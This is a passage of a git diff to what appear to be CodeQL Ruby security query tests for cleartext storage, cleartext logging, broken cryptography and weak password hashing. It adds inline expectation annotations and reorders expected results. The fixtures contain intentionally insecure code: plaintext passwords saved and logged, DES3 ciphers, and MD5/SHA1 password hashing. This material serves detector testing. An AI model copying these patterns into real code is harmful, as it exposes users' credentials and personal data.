$@ as clear text. | app/controllers/users_controller.rb:58:20:58:53 | "0157af7c38cbdd24f1616de4e5321861" | an assignment to new_password | +| app/controllers/users_controller.rb:87:20:87:22 | inf | app/controllers/users_controller.rb:79:19:79:30 | "aaaaaaaaaa" : String | app/controllers/users_controller.rb:87:20:87:22 | inf | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:79:19:79:30 | "aaaaaaaaaa" | a write to password | +| app/controllers/users_controller.rb:87:20:87:22 | inf | app/controllers/users_controller.rb:80:29:80:49 | "0000-0000-0000-0000" : String | app/controllers/users_controller.rb:87:20:87:22 | inf | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:80:29:80:49 | "0000-0000-0000-0000" | a write to credit_card_number | +| app/controllers/users_controller.rb:87:20:87:22 | inf | app/controllers/users_controller.rb:81:14:81:27 | "000-00-00000" : String | app/controllers/users_controller.rb:87:20:87:22 | inf | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:81:14:81:27 | "000-00-00000" | a write to SSN | +| app/controllers/users_controller.rb:87:20:87:22 | inf | app/controllers/users_controller.rb:83:30:83:38 | "bbbbbbb" : String | app/controllers/users_controller.rb:87:20:87:22 | inf | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:83:30:83:38 | "bbbbbbb" | a write to password | +| app/models/user.rb:5:27:5:38 | new_password | app/models/user.rb:3:20:3:53 | "06c38c6a8a9c11a9d3b209a3193047b4" : String | app/models/user.rb:5:27:5:38 | new_password | This stores sensitive data returned by $@ as clear text. | app/models/user.rb:3:20:3:53 | "06c38c6a8a9c11a9d3b209a3193047b4" | an assignment to new_password | +| app/models/user.rb:11:22:11:33 | new_password | app/models/user.rb:9:20:9:53 | "52652fb5c709fb6b9b5a0194af7c6067" : String | app/models/user.rb:11:22:11:33 | new_password | This stores sensitive data returned by $@ as clear text. | app/models/user.rb:9:20:9:53 | "52652fb5c709fb6b9b5a0194af7c6067" | an assignment to new_password | +| app/models/user.rb:17:21:17:32 | new_password | app/models/user.rb:15:20:15:53 | "f982bf2531c149a8a1444a951b12e830" : String | app/models/user.rb:17:21:17:32 | new_password | This stores sensitive data returned by $@ as clear text. | app/models/user.rb:15:20:15:53 | "f982bf2531c149a8a1444a951b12e830" | an assignment to new_password | edges | app/controllers/users_controller.rb:3:5:3:16 | new_password : String | app/controllers/users_controller.rb:5:39:5:50 | new_password | provenance | | | app/controllers/users_controller.rb:3:5:3:16 | new_password : String | app/controllers/users_controller.rb:7:41:7:52 | new_password | provenance | | @@ -120,32 +149,3 @@ nodes | app/models/user.rb:15:20:15:53 | "f982bf2531c149a8a1444a951b12e830" : String | semmle.label | "f982bf2531c149a8a1444a951b12e830" : String | | app/models/user.rb:17:21:17:32 | new_password | semmle.label | new_password | subpaths -#select -| app/controllers/users_controller.rb:5:39:5:50 | new_password | app/controllers/users_controller.rb:3:20:3:53 | "043697b96909e03ca907599d6420555f" : String | app/controllers/users_controller.rb:5:39:5:50 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:3:20:3:53 | "043697b96909e03ca907599d6420555f" | an assignment to new_password | -| app/controllers/users_controller.rb:7:41:7:52 | new_password | app/controllers/users_controller.rb:3:20:3:53 | "043697b96909e03ca907599d6420555f" : String | app/controllers/users_controller.rb:7:41:7:52 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:3:20:3:53 | "043697b96909e03ca907599d6420555f" | an assignment to new_password | -| app/controllers/users_controller.rb:7:41:7:52 | new_password | app/controllers/users_controller.rb:7:41:7:52 | new_password | app/controllers/users_controller.rb:7:41:7:52 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:7:41:7:52 | new_password | a write to password | -| app/controllers/users_controller.rb:13:42:13:53 | new_password | app/controllers/users_controller.rb:11:20:11:53 | "083c9e1da4cc0c2f5480bb4dbe6ff141" : String | app/controllers/users_controller.rb:13:42:13:53 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:11:20:11:53 | "083c9e1da4cc0c2f5480bb4dbe6ff141" | an assignment to new_password | -| app/controllers/users_controller.rb:15:49:15:60 | new_password | app/controllers/users_controller.rb:11:20:11:53 | "083c9e1da4cc0c2f5480bb4dbe6ff141" : String | app/controllers/users_controller.rb:15:49:15:60 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:11:20:11:53 | "083c9e1da4cc0c2f5480bb4dbe6ff141" | an assignment to new_password | -| app/controllers/users_controller.rb:15:49:15:60 | new_password | app/controllers/users_controller.rb:15:49:15:60 | new_password | app/controllers/users_controller.rb:15:49:15:60 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:15:49:15:60 | new_password | a write to password | -| app/controllers/users_controller.rb:15:87:15:98 | new_password | app/controllers/users_controller.rb:11:20:11:53 | "083c9e1da4cc0c2f5480bb4dbe6ff141" : String | app/controllers/users_controller.rb:15:87:15:98 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:11:20:11:53 | "083c9e1da4cc0c2f5480bb4dbe6ff141" | an assignment to new_password | -| app/controllers/users_controller.rb:15:87:15:98 | new_password | app/controllers/users_controller.rb:15:49:15:60 | new_password | app/controllers/users_controller.rb:15:87:15:98 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:15:49:15:60 | new_password | a write to password | -| app/controllers/users_controller.rb:15:87:15:98 | new_password | app/controllers/users_controller.rb:15:87:15:98 | new_password | app/controllers/users_controller.rb:15:87:15:98 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:15:87:15:98 | new_password | a write to password | -| app/controllers/users_controller.rb:21:45:21:56 | new_password | app/controllers/users_controller.rb:19:20:19:53 | "504d224a806cf8073cd14ef08242d422" : String | app/controllers/users_controller.rb:21:45:21:56 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:19:20:19:53 | "504d224a806cf8073cd14ef08242d422" | an assignment to new_password | -| app/controllers/users_controller.rb:21:45:21:56 | new_password | app/controllers/users_controller.rb:21:45:21:56 | new_password | app/controllers/users_controller.rb:21:45:21:56 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:21:45:21:56 | new_password | a write to password | -| app/controllers/users_controller.rb:21:83:21:94 | new_password | app/controllers/users_controller.rb:19:20:19:53 | "504d224a806cf8073cd14ef08242d422" : String | app/controllers/users_controller.rb:21:83:21:94 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:19:20:19:53 | "504d224a806cf8073cd14ef08242d422" | an assignment to new_password | -| app/controllers/users_controller.rb:21:83:21:94 | new_password | app/controllers/users_controller.rb:21:45:21:56 | new_password | app/controllers/users_controller.rb:21:83:21:94 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:21:45:21:56 | new_password | a write to password | -| app/controllers/users_controller.rb:21:83:21:94 | new_password | app/controllers/users_controller.rb:21:83:21:94 | new_password | app/controllers/users_controller.rb:21:83:21:94 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:21:83:21:94 | new_password | a write to password | -| app/controllers/users_controller.rb:28:27:28:38 | new_password | app/controllers/users_controller.rb:26:20:26:53 | "7d6ae08394c3f284506dca70f05995f6" : String | app/controllers/users_controller.rb:28:27:28:38 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:26:20:26:53 | "7d6ae08394c3f284506dca70f05995f6" | an assignment to new_password | -| app/controllers/users_controller.rb:30:28:30:39 | new_password | app/controllers/users_controller.rb:26:20:26:53 | "7d6ae08394c3f284506dca70f05995f6" : String | app/controllers/users_controller.rb:30:28:30:39 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:26:20:26:53 | "7d6ae08394c3f284506dca70f05995f6" | an assignment to new_password | -| app/controllers/users_controller.rb:30:28:30:39 | new_password | app/controllers/users_controller.rb:30:28:30:39 | new_password | app/controllers/users_controller.rb:30:28:30:39 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:30:28:30:39 | new_password | a write to password | -| app/controllers/users_controller.rb:37:39:37:50 | new_password | app/controllers/users_controller.rb:35:20:35:53 | "ff295f8648a406c37fbe378377320e4c" : String | app/controllers/users_controller.rb:37:39:37:50 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:35:20:35:53 | "ff295f8648a406c37fbe378377320e4c" | an assignment to new_password | -| app/controllers/users_controller.rb:44:21:44:32 | new_password | app/controllers/users_controller.rb:42:20:42:53 | "78ffbec583b546bd073efd898f833184" : String | app/controllers/users_controller.rb:44:21:44:32 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:42:20:42:53 | "78ffbec583b546bd073efd898f833184" | an assignment to new_password | -| app/controllers/users_controller.rb:61:25:61:53 | "password: #{...}\\n" | app/controllers/users_controller.rb:58:20:58:53 | "0157af7c38cbdd24f1616de4e5321861" : String | app/controllers/users_controller.rb:61:25:61:53 | "password: #{...}\\n" | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:58:20:58:53 | "0157af7c38cbdd24f1616de4e5321861" | an assignment to new_password | -| app/controllers/users_controller.rb:64:35:64:61 | "password: #{...}" | app/controllers/users_controller.rb:58:20:58:53 | "0157af7c38cbdd24f1616de4e5321861" : String | app/controllers/users_controller.rb:64:35:64:61 | "password: #{...}" | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:58:20:58:53 | "0157af7c38cbdd24f1616de4e5321861" | an assignment to new_password | -| app/controllers/users_controller.rb:87:20:87:22 | inf | app/controllers/users_controller.rb:79:19:79:30 | "aaaaaaaaaa" : String | app/controllers/users_controller.rb:87:20:87:22 | inf | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:79:19:79:30 | "aaaaaaaaaa" | a write to password | -| app/controllers/users_controller.rb:87:20:87:22 | inf | app/controllers/users_controller.rb:80:29:80:49 | "0000-0000-0000-0000" : String | app/controllers/users_controller.rb:87:20:87:22 | inf | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:80:29:80:49 | "0000-0000-0000-0000" | a write to credit_card_number | -| app/controllers/users_controller.rb:87:20:87:22 | inf | app/controllers/users_controller.rb:81:14:81:27 | "000-00-00000" : String | app/controllers/users_controller.rb:87:20:87:22 | inf | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:81:14:81:27 | "000-00-00000" | a write to SSN | -| app/controllers/users_controller.rb:87:20:87:22 | inf | app/controllers/users_controller.rb:83:30:83:38 | "bbbbbbb" : String | app/controllers/users_controller.rb:87:20:87:22 | inf | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:83:30:83:38 | "bbbbbbb" | a write to password | -| app/models/user.rb:5:27:5:38 | new_password | app/models/user.rb:3:20:3:53 | "06c38c6a8a9c11a9d3b209a3193047b4" : String | app/models/user.rb:5:27:5:38 | new_password | This stores sensitive data returned by $@ as clear text. | app/models/user.rb:3:20:3:53 | "06c38c6a8a9c11a9d3b209a3193047b4" | an assignment to new_password | -| app/models/user.rb:11:22:11:33 | new_password | app/models/user.rb:9:20:9:53 | "52652fb5c709fb6b9b5a0194af7c6067" : String | app/models/user.rb:11:22:11:33 | new_password | This stores sensitive data returned by $@ as clear text. | app/models/user.rb:9:20:9:53 | "52652fb5c709fb6b9b5a0194af7c6067" | an assignment to new_password | -| app/models/user.rb:17:21:17:32 | new_password | app/models/user.rb:15:20:15:53 | "f982bf2531c149a8a1444a951b12e830" : String | app/models/user.rb:17:21:17:32 | new_password | This stores sensitive data returned by $@ as clear text. | app/models/user.rb:15:20:15:53 | "f982bf2531c149a8a1444a951b12e830" | an assignment to new_password | diff --git a/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref b/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref index 051d588b701..903a20fe574 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref +++ b/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref @@ -1 +1,2 @@ -queries/security/cwe-312/CleartextStorage.ql \ No newline at end of file +query: queries/security/cwe-312/CleartextStorage.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb index 806b5109665..ae277596cfe 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb @@ -1,47 +1,47 @@ class UsersController < ApplicationController def createLikeCall - new_password = "043697b96909e03ca907599d6420555f" + new_password = "043697b96909e03ca907599d6420555f" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.create(name: "U1", password: new_password) + User.create(name: "U1", password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.create({ name: "U1", password: new_password }) + User.create({ name: "U1", password: new_password }) # $ Alert[rb/clear-text-storage-sensitive-data] end def updateLikeClassMethodCall - new_password = "083c9e1da4cc0c2f5480bb4dbe6ff141" + new_password = "083c9e1da4cc0c2f5480bb4dbe6ff141" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.update(1, name: "U1", password: new_password) + User.update(1, name: "U1", password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.update([1, 2], [{name: "U1", password: new_password}, {name: "U2", password: new_password}]) + User.update([1, 2], [{name: "U1", password: new_password}, {name: "U2", password: new_password}]) # $ Alert[rb/clear-text-storage-sensitive-data] end def insertAllLikeCall - new_password = "504d224a806cf8073cd14ef08242d422" + new_password = "504d224a806cf8073cd14ef08242d422" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.insert_all([{name: "U1", password: new_password}, {name: "U2", password: new_password}]) + User.insert_all([{name: "U1", password: new_password}, {name: "U2", password: new_password}]) # $ Alert[rb/clear-text-storage-sensitive-data] end def updateLikeInstanceMethodCall user = User.find(1) - new_password = "7d6ae08394c3f284506dca70f05995f6" + new_password = "7d6ae08394c3f284506dca70f05995f6" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - user.update(password: new_password) + user.update(password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - user.update({password: new_password}) + user.update({password: new_password}) # $ Alert[rb/clear-text-storage-sensitive-data] end def updateAttributeCall user = User.find(1) - new_password = "ff295f8648a406c37fbe378377320e4c" + new_password = "ff295f8648a406c37fbe378377320e4c" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - user.update_attribute("password", new_password) + user.update_attribute("password", new_password) # $ Alert[rb/clear-text-storage-sensitive-data] end def assignAttributeCall user = User.find(1) - new_password = "78ffbec583b546bd073efd898f833184" + new_password = "78ffbec583b546bd073efd898f833184" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password assigned to database field - user.password = new_password + user.password = new_password # $ Alert[rb/clear-text-storage-sensitive-data] user.save end @@ -55,13 +55,13 @@ class UsersController < ApplicationController end def fileWrites - new_password = "0157af7c38cbdd24f1616de4e5321861" + new_password = "0157af7c38cbdd24f1616de4e5321861" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to disk - IO.write("foo.txt", "password: #{new_password}\n") + IO.write("foo.txt", "password: #{new_password}\n") # $ Alert[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to disk - File.new("bar.txt", "a").puts("password: #{new_password}") + File.new("bar.txt", "a").puts("password: #{new_password}") # $ Alert[rb/clear-text-storage-sensitive-data] end def randomPasswordAssign @@ -76,15 +76,15 @@ class UsersController < ApplicationController info = [ { name: "U1", - password: "aaaaaaaaaa", - credit_card_number: "0000-0000-0000-0000", - SSN: "000-00-00000" + password: "aaaaaaaaaa", # $ Source[rb/clear-text-storage-sensitive-data] + credit_card_number: "0000-0000-0000-0000", # $ Source[rb/clear-text-storage-sensitive-data] + SSN: "000-00-00000" # $ Source[rb/clear-text-storage-sensitive-data] }, - {name: "U2", password: "bbbbbbb"} + {name: "U2", password: "bbbbbbb"} # $ Source[rb/clear-text-storage-sensitive-data] ] info.each do |inf| # BAD: Plaintext password, SSN, and CCN stored to database. - User.create!(inf) + User.create!(inf) # $ Alert[rb/clear-text-storage-sensitive-data] end end end diff --git a/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb b/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb index 09d1866424a..7b5943e641c 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb +++ b/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb @@ -1,20 +1,20 @@ class User < ActiveRecord::Base def set_password_1 - new_password = "06c38c6a8a9c11a9d3b209a3193047b4" + new_password = "06c38c6a8a9c11a9d3b209a3193047b4" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: directly storing a potential cleartext password to a field - self.update(password: new_password) + self.update(password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] end def set_password_2 - new_password = "52652fb5c709fb6b9b5a0194af7c6067" + new_password = "52652fb5c709fb6b9b5a0194af7c6067" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: directly storing a potential cleartext password to a field - update(password: new_password) + update(password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] end def set_password_3 - new_password = "f982bf2531c149a8a1444a951b12e830" + new_password = "f982bf2531c149a8a1444a951b12e830" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: directly assigning a potential cleartext password to a field - self.password = new_password + self.password = new_password # $ Alert[rb/clear-text-storage-sensitive-data] self.save end end diff --git a/ruby/ql/test/query-tests/security/cwe-312/logging.rb b/ruby/ql/test/query-tests/security/cwe-312/logging.rb index 26b148f33c2..03b21b3625c 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/logging.rb +++ b/ruby/ql/test/query-tests/security/cwe-312/logging.rb @@ -1,45 +1,45 @@ stdout_logger = Logger.new STDOUT -password = "043697b96909e03ca907599d6420555f" +password = "043697b96909e03ca907599d6420555f" # $ Source[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.info password +stdout_logger.info password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.debug password +stdout_logger.debug password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.error password +stdout_logger.error password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.fatal password +stdout_logger.fatal password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.unknown password +stdout_logger.unknown password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.warn password +stdout_logger.warn password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.add Logger::WARN, password +stdout_logger.add Logger::WARN, password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.add Logger::WARN, "message", password +stdout_logger.add Logger::WARN, "message", password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.log Logger::WARN, password +stdout_logger.log Logger::WARN, password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger << "pw: #{password}" +stdout_logger << "pw: #{password}" # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: sensitive data in the progname will taint subsequent logging calls -stdout_logger.progname = password +stdout_logger.progname = password # $ Alert[rb/clear-text-logging-sensitive-data] -hsh1 = { password: "aec5058e61f7f122998b1a30ee2c66b6" } +hsh1 = { password: "aec5058e61f7f122998b1a30ee2c66b6" } # $ Source[rb/clear-text-logging-sensitive-data] hsh2 = {} # GOOD: no backwards flow stdout_logger.info hsh2[:password] -hsh2[:password] = "beeda625d7306b45784d91ea0336e201" +hsh2[:password] = "beeda625d7306b45784d91ea0336e201" # $ Source[rb/clear-text-logging-sensitive-data] hsh3 = hsh2 # BAD: password logged as plaintext -stdout_logger.info hsh1[:password] +stdout_logger.info hsh1[:password] # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.info hsh2[:password] +stdout_logger.info hsh2[:password] # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.info hsh3[:password] +stdout_logger.info hsh3[:password] # $ Alert[rb/clear-text-logging-sensitive-data] # GOOD: not a password stdout_logger.info hsh1[:foo] @@ -61,30 +61,30 @@ stdout_logger.info password_masked_sub_ex # GOOD: password is effectively masked before logging stdout_logger.info password_masked_gsub_ex -password_masked_ineffective_sub = "ca497451f5e883662fb1a37bc9ec7838" -password_masked_ineffective_sub_ex = "ca497451f5e883662fb1a37bc9ec7838" -password_masked_ineffective_gsub = "a7e3747b19930d4f4b8181047194832f" -password_masked_ineffective_gsub_ex = "a7e3747b19930d4f4b8181047194832f" -password_masked_ineffective_sub = password_masked_ineffective_sub.sub(/./, "[password]") +password_masked_ineffective_sub = "ca497451f5e883662fb1a37bc9ec7838" # $ Source[rb/clear-text-logging-sensitive-data] +password_masked_ineffective_sub_ex = "ca497451f5e883662fb1a37bc9ec7838" # $ Source[rb/clear-text-logging-sensitive-data] +password_masked_ineffective_gsub = "a7e3747b19930d4f4b8181047194832f" # $ Source[rb/clear-text-logging-sensitive-data] +password_masked_ineffective_gsub_ex = "a7e3747b19930d4f4b8181047194832f" # $ Source[rb/clear-text-logging-sensitive-data] +password_masked_ineffective_sub = password_masked_ineffective_sub.sub(/./, "[password]") # $ Source[rb/clear-text-logging-sensitive-data] password_masked_ineffective_sub_ex.sub!(/./, "[password]") -password_masked_ineffective_gsub = password_masked_ineffective_gsub.gsub(/[A-Z]/, "*") +password_masked_ineffective_gsub = password_masked_ineffective_gsub.gsub(/[A-Z]/, "*") # $ Source[rb/clear-text-logging-sensitive-data] password_masked_ineffective_gsub_ex.gsub!(/[A-Z]/, "*") # BAD: password masked ineffectively -stdout_logger.info password_masked_ineffective_sub +stdout_logger.info password_masked_ineffective_sub # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password masked ineffectively -stdout_logger.info password_masked_ineffective_gsub +stdout_logger.info password_masked_ineffective_gsub # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password masked ineffectively -stdout_logger.info password_masked_ineffective_sub_ex +stdout_logger.info password_masked_ineffective_sub_ex # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password masked ineffectively -stdout_logger.info password_masked_ineffective_gsub_ex +stdout_logger.info password_masked_ineffective_gsub_ex # $ Alert[rb/clear-text-logging-sensitive-data] def foo(password, logger) # BAD: password logged as plaintext - logger.info password + logger.info password # $ Alert[rb/clear-text-logging-sensitive-data] end -password_arg = "65f2950df2f0e2c38d7ba2ccca767291" +password_arg = "65f2950df2f0e2c38d7ba2ccca767291" # $ Source[rb/clear-text-logging-sensitive-data] foo(password_arg, stdout_logger) foo("65f2950df2f0e2c38d7ba2ccca767292", stdout_logger) diff --git a/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref b/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref index e1c31fb2d58..92b721c8549 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref +++ b/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref @@ -1 +1,2 @@ -queries/security/cwe-327/BrokenCryptoAlgorithm.ql \ No newline at end of file +query: queries/security/cwe-327/BrokenCryptoAlgorithm.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.expected b/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.expected index 0ad72554019..30e754c63d0 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.expected +++ b/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.expected @@ -1,3 +1,11 @@ +#select +| weak_hashing.rb:10:23:10:30 | password | weak_hashing.rb:3:1:3:8 | password | weak_hashing.rb:10:23:10:30 | password | $@ is used in a hashing algorithm (MD5) that is insecure for password hashing, since it is not a computationally expensive hash function. | weak_hashing.rb:3:1:3:8 | password | Sensitive data (password) | +| weak_hashing.rb:11:32:11:39 | password | weak_hashing.rb:3:1:3:8 | password | weak_hashing.rb:11:32:11:39 | password | $@ is used in a hashing algorithm (SHA1) that is insecure for password hashing, since it is not a computationally expensive hash function. | weak_hashing.rb:3:1:3:8 | password | Sensitive data (password) | +| weak_hashing.rb:12:23:12:30 | username | weak_hashing.rb:4:1:4:8 | username | weak_hashing.rb:12:23:12:30 | username | $@ is used in a hashing algorithm (MD5) that is insecure. | weak_hashing.rb:4:1:4:8 | username | Sensitive data (id) | +| weak_hashing.rb:13:23:13:23 | x | weak_hashing.rb:3:1:3:8 | password | weak_hashing.rb:13:23:13:23 | x | $@ is used in a hashing algorithm (MD5) that is insecure for password hashing, since it is not a computationally expensive hash function. | weak_hashing.rb:3:1:3:8 | password | Sensitive data (password) | +| weak_hashing.rb:24:23:24:36 | call to get_password | weak_hashing.rb:24:23:24:36 | call to get_password | weak_hashing.rb:24:23:24:36 | call to get_password | $@ is used in a hashing algorithm (MD5) that is insecure for password hashing, since it is not a computationally expensive hash function. | weak_hashing.rb:24:23:24:36 | call to get_password | Sensitive data (password) | +| weak_hashing.rb:28:23:28:42 | ...[...] | weak_hashing.rb:28:23:28:42 | ...[...] | weak_hashing.rb:28:23:28:42 | ...[...] | $@ is used in a hashing algorithm (MD5) that is insecure for password hashing, since it is not a computationally expensive hash function. | weak_hashing.rb:28:23:28:42 | ...[...] | Sensitive data (password) | +| weak_hashing.rb:32:25:32:38 | password_param | weak_hashing.rb:30:25:30:38 | password_param | weak_hashing.rb:32:25:32:38 | password_param | $@ is used in a hashing algorithm (MD5) that is insecure for password hashing, since it is not a computationally expensive hash function. | weak_hashing.rb:30:25:30:38 | password_param | Sensitive data (password) | edges | weak_hashing.rb:3:1:3:8 | password | weak_hashing.rb:6:1:6:1 | x | provenance | | | weak_hashing.rb:3:1:3:8 | password | weak_hashing.rb:10:23:10:30 | password | provenance | | @@ -18,11 +26,3 @@ nodes | weak_hashing.rb:30:25:30:38 | password_param | semmle.label | password_param | | weak_hashing.rb:32:25:32:38 | password_param | semmle.label | password_param | subpaths -#select -| weak_hashing.rb:10:23:10:30 | password | weak_hashing.rb:3:1:3:8 | password | weak_hashing.rb:10:23:10:30 | password | $@ is used in a hashing algorithm (MD5) that is insecure for password hashing, since it is not a computationally expensive hash function. | weak_hashing.rb:3:1:3:8 | password | Sensitive data (password) | -| weak_hashing.rb:11:32:11:39 | password | weak_hashing.rb:3:1:3:8 | password | weak_hashing.rb:11:32:11:39 | password | $@ is used in a hashing algorithm (SHA1) that is insecure for password hashing, since it is not a computationally expensive hash function. | weak_hashing.rb:3:1:3:8 | password | Sensitive data (password) | -| weak_hashing.rb:12:23:12:30 | username | weak_hashing.rb:4:1:4:8 | username | weak_hashing.rb:12:23:12:30 | username | $@ is used in a hashing algorithm (MD5) that is insecure. | weak_hashing.rb:4:1:4:8 | username | Sensitive data (id) | -| weak_hashing.rb:13:23:13:23 | x | weak_hashing.rb:3:1:3:8 | password | weak_hashing.rb:13:23:13:23 | x | $@ is used in a hashing algorithm (MD5) that is insecure for password hashing, since it is not a computationally expensive hash function. | weak_hashing.rb:3:1:3:8 | password | Sensitive data (password) | -| weak_hashing.rb:24:23:24:36 | call to get_password | weak_hashing.rb:24:23:24:36 | call to get_password | weak_hashing.rb:24:23:24:36 | call to get_password | $@ is used in a hashing algorithm (MD5) that is insecure for password hashing, since it is not a computationally expensive hash function. | weak_hashing.rb:24:23:24:36 | call to get_password | Sensitive data (password) | -| weak_hashing.rb:28:23:28:42 | ...[...] | weak_hashing.rb:28:23:28:42 | ...[...] | weak_hashing.rb:28:23:28:42 | ...[...] | $@ is used in a hashing algorithm (MD5) that is insecure for password hashing, since it is not a computationally expensive hash function. | weak_hashing.rb:28:23:28:42 | ...[...] | Sensitive data (password) | -| weak_hashing.rb:32:25:32:38 | password_param | weak_hashing.rb:30:25:30:38 | password_param | weak_hashing.rb:32:25:32:38 | password_param | $@ is used in a hashing algorithm (MD5) that is insecure for password hashing, since it is not a computationally expensive hash function. | weak_hashing.rb:30:25:30:38 | password_param | Sensitive data (password) | diff --git a/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref b/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref index dcb5a4e62a7..b4891bf7bca 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref +++ b/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref @@ -1 +1,2 @@ -queries/security/cwe-327/WeakSensitiveDataHashing.ql \ No newline at end of file +query: queries/security/cwe-327/WeakSensitiveDataHashing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb b/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb index 69dcd6b472b..a9965a250f0 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb +++ b/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb @@ -1,19 +1,19 @@ require 'openssl' # BAD: creating a cipher using a weak scheme -weak = OpenSSL::Cipher.new('des3') +weak = OpenSSL::Cipher.new('des3') # $ 